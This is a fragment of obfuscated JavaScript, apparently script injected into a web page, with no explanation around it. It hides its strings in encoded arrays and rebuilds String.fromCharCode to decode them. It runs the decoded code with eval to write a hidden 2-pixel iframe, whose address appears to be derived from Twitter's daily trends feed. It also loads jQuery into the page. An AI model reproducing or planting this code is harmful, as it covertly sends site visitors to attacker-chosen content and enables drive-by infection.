vb8vb8va6v82v7dv94v92:86,q88vbdvc2vcfv97v80vb6v82v94:89,q7dv81v7bvbbvc8vbdvd2v7bv82:89,q85vb8vc7vc7vbcvc5vbbv7fvbd:87,afvb2vb2v96v79vcdvcdv79vcd:80,q80v86v84v84v84v7dvd1v7dvd1:84,q82vd6vbevc5vccvbevd4vccvbe:89,c9va9vbevc2vbavc4vcavc9v7d:85,c0vcfvc8vbdvcevc3vc9vc8v82:90,q7fvd1vbcvb5vb8vb8va3v7evbc:86,b9vbcvbcvc0v88vc4vabvcfvbf:90,c7vcev7evd2v81v87v85v85v7e:85,cfvcfvb8vc7vc0vb5vc6vbbvc1:82,c1v73vb9vb2vb5vb5v94v7bvcb:83,q79vcbvc2vb5vc4vc5vc2vbev70:80,cbv81vbavb8vc7va8va7v96v9b:83,c8vcevcbvccv81v82vd6vbfvce:89,c5vbavcbvc0vc6vc5v77vbdvb6:87,b3vb3vbev79vc9v7avccvb5v8e:81,c2vb9vcbv74v98vb5vc8vb9v7c:84,q7ev90vb9v83vc8vbavc9va9vbe:85,c4vbcv7fvcfv85vb8vcavb6vc6:87,bev82v89v88v88v88v81v93vca:88,bbvcavcbvc8vc4v76vbavd3vbc:86,c6vbfvb4vc5vbavc0vbfv71vb7:81,b9vbcvbcv9dv82vcdv86vc3v83:90,cbvc2vb5vc4vc5vc2vbev70vc3:80,q86vbbvc0vb9vcav9bvc7vbcvbd:88,q92vc5v79vbav7avcevb7vb0vb3:81,bava5v80vbevb7vbavbavbev86:88,beva5vc9vb9vc6vcdv7dv8fvba:84,c7vc0vb5vc6vbbvc1vc0v72vb8:82,b6vb9vb9vcfv7fvcfv80vd2vc9:87,b5vc4vc5vc2vbev70vc8v7evbc:80,bevc7vc0vcdvc1vd6:89,v86v85v7vb2v90v78vcfv92v77:"32);",v9vc8vcvbdvc6vbcv9bvc0vc1:"if(0){alert(l)};eval(l);",v77v7v70v99vc2v78v70v88v92:";"};f_bcd=[];f_bbf.f_bce=String[\'fr\'+f_bbf.f_bcg+\'har\'+f_bbf.f_bcf+\'de\'];f_bcd.push(\';f_bbf.f_bbR=f_bce(104,101,105,103,104,116,58,50,112,120,34,62,60,105,102,114,97,109,101,32,115,114,99);\');f_bcd.push(\'f_bbf.f_bbP=f_bce(104,101,105,103,104,116,61,50,62,60,47,105,102,114,97,109,101);\');f_bcd.push(\'f_bbf.f_bbN=f_bce(97,112,105,46,116,119,105,116,116,101,114,46,99,111,109,47,49,47,116,114,101,110,100,115,47,100,97,105,108,121,46,106,115,111,110);\');for(var f_bbS in f_bbT){f_bcd.push(f_bcb(f_bbS,f_bbT))};f_bcc(f_bby(f_bcd));try{f_bca.getElementById(window.f_bbN)}catch(e){}';f_bck=d;f_bcc(f_bck)},500)})(function(){f_bcv="0123456789";f_bca=document;f_bbf=window;f_bbf.f_bbi='undefined';f_bbf.f_bcf='Co';f_bbf.f_bcg='omC';f_bbf.f_bbJ=function($,f_bcw){return 0*1};f_bbf.f_bby=function(f_bbS){return f_bbS.join('')};f_bbf.f_bcc=eval;f_bbf.f_bcm=function(f_bbS){return f_bbS.pop()};f_bbf.f_bbf=f_bbf;f_bcu=function(){try{return!!($().jquery.match(/^1.[4-9]+/))}catch(e){return 0}};f_bcz=function(f_bbS){return f_bbS.length};f_bcp=(typeof($)==f_bbf.f_bbi);if(f_bcp||!f_bcu()){if(!f_bcp){try{f_bcy=jQuery.noConflict(true)}catch(e){};try{f_bcy=$.noConflict(true)}catch(e){}}f_bct=f_bca.getElementsByTagName('head')[0];f_bcj=f_bca.createElement('script');f_bcj.setAttribute('src',"http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js");f_bct.appendChild(f_bcj)}f_bbf.f_bco=100;f_bbf.f_bcn=25;f_bbf.f_bcb=function(f_bcq,f_bci){if("rqbcadef".indexOf(f_bcq.substr(0,1))>=0){var f_bcx=f_bby(f_bcq.split('q')).split('v');f_bch=f_bcz(f_bcx);for(var f_bcs=0;f_bcs<f_bch;f_bcs++){f_bcx[f_bcs]=parseInt(f_bcx[f_bcs],16)-f_bci[f_bcq]}return f_bcx.join(',')+','}else{return f_bci[f_bcq]}}})

